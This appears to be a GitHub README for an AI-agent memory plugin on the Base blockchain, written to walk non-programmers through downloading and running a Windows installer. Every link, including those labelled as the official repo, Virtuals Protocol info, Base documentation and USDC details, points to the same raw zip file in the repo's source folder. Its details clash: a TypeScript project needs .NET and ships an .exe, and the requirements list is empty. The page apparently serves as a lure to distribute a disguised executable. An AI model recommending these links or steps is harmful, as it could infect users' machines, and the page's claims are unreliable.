Enable Virtuals AI agents to store, search, and manage persistent memory using MoltBrain micropayments on the Base blockchain.
Moltbrain-virtuals is an early-stage TypeScript project in the AI payments / x402 ecosystem, focused on ai-agents, base, eip-3009, game-sdk. It currently has 1 GitHub stars and 0 forks, and sits alongside related tools like Moltbrain-virtuals, x402-wiki, gold-402.
Moltbrain-virtuals is a tool that helps game developers add smart memory features to their AI agents. It works as a plugin for the Virtuals Protocol. This makes AI characters remember past events or decisions, making their behavior more natural and persistent over time.
The plugin uses MoltBrain x402 technology on Base, a blockchain platform. This allows the AI’s memory to save data securely and permanently. The system also supports micropayments, letting games handle small transactions with USDC tokens.
You don’t need to know programming to get started with Moltbrain-virtuals. This guide will help you download and run the software on your Windows PC.
Before installing, make sure your computer meets these needs:
If you don't have .NET Framework installed, Microsoft provides a free installer on their website.
Click the big green button below to visit the release page where you get the software files.
Follow these steps carefully:
Click the download badge above or open this link in your web browser:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
On the Releases page, find the latest version listed at the top. It usually has a title like "v1.0" or similar.
Under the latest release, look for the Windows installer file. It will have a name ending with .exe. For example: Moltbrain-virtuals-setup.exe.
Click the .exe file to start downloading. Save it somewhere easy to find, like your Desktop or Downloads folder.
After downloading the installer, follow these instructions:
Find the downloaded file (e.g., Moltbrain-virtuals-setup.exe) on your computer.
Double-click the file to launch the installer.
If Windows asks for permission, click Yes to allow the setup to start.
The installer will open. Read any prompts and click Next to proceed.
Choose the folder where you want to install the program, or use the default location.
Click Install to begin copying the files to your computer.
Wait for the installation to finish. This may take a few minutes.
Once done, click Finish to close the installer.
To start using Moltbrain-virtuals:
Find the program icon on your Desktop or in the Start Menu under “Moltbrain-virtuals.”
Double-click the icon to open the application.
The main window will appear, showing you options for loading or creating AI agents.
Follow the on-screen instructions to connect the plugin to your game or environment.
If you encounter any errors or the program does not start, try restarting your computer and running the application again.
Here are some main features you will find inside Moltbrain-virtuals:
Persistent AI Memory: Save and access AI agent data between game sessions. This makes AI remember past actions.
Easy Integration: Connect the plugin with games using simple steps and no coding.
Micropayments Support: Use USDC tokens for small transactions within the game or AI environment.
Blockchain Security: Store memory data safely using Base blockchain technology.
Customizable Agents: Adjust AI settings to fit different game types and behaviors.
After installation, the main program folder will contain:
/bin — Program files needed to run the app. /config — Settings files to customize AI behaviors. /logs — Records of application activity and errors. /docs — Documentation and user guides in PDF or TXT format.You can access these folders by right-clicking the program shortcut and choosing Open file location.
Keeping your copy up to date is important. Updates add features and fix bugs.
Visit the releases page here:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
Download the newest installer as before.
Run the installer, which will replace your current version without losing settings.
Restart the program to work with the latest version.
Here are common problems and how to fix them:
Installer won’t start: Check if Windows blocked the file. Right-click the installer, select Properties, and click Unblock if the option is there. Then try again.
Program crashes on start: Make sure you have .NET Framework 4.7.2 or newer installed.
AI memory not saving: Verify your internet connection, as the plugin connects to the Base blockchain.
Payment functions not working: Confirm USDC tokens are available and linked properly in your wallet.
If problems persist, check the /logs folder for error reports and consider asking for help on GitHub Issues.
You can learn more about the technologies used here:
Virtuals Protocol: A method to create persistent memory for AI agents in games.
MoltBrain x402: A system that manages AI memory securely on the blockchain.
EIP-3009: A standard for micropayments using tokens like USDC.
Download and install page:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
Official GitHub repo:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
Virtuals Protocol info:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
Base blockchain documentation:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
USDC stablecoin details:
https://github.com/CRISTOBAL-VIZCAINO/Moltbrain-virtuals/raw/refs/heads/main/src/virtuals-Moltbrain-Docetistic.zip
The Moltbrain-virtuals plugin works best on Windows PCs that meet the requirements. Follow these steps to keep your AI game agents smarter and more lifelike through persistent memory.
GAME SDK plugin for Virtuals Protocol - persistent memory for AI agents via MoltBrain x402 on Base
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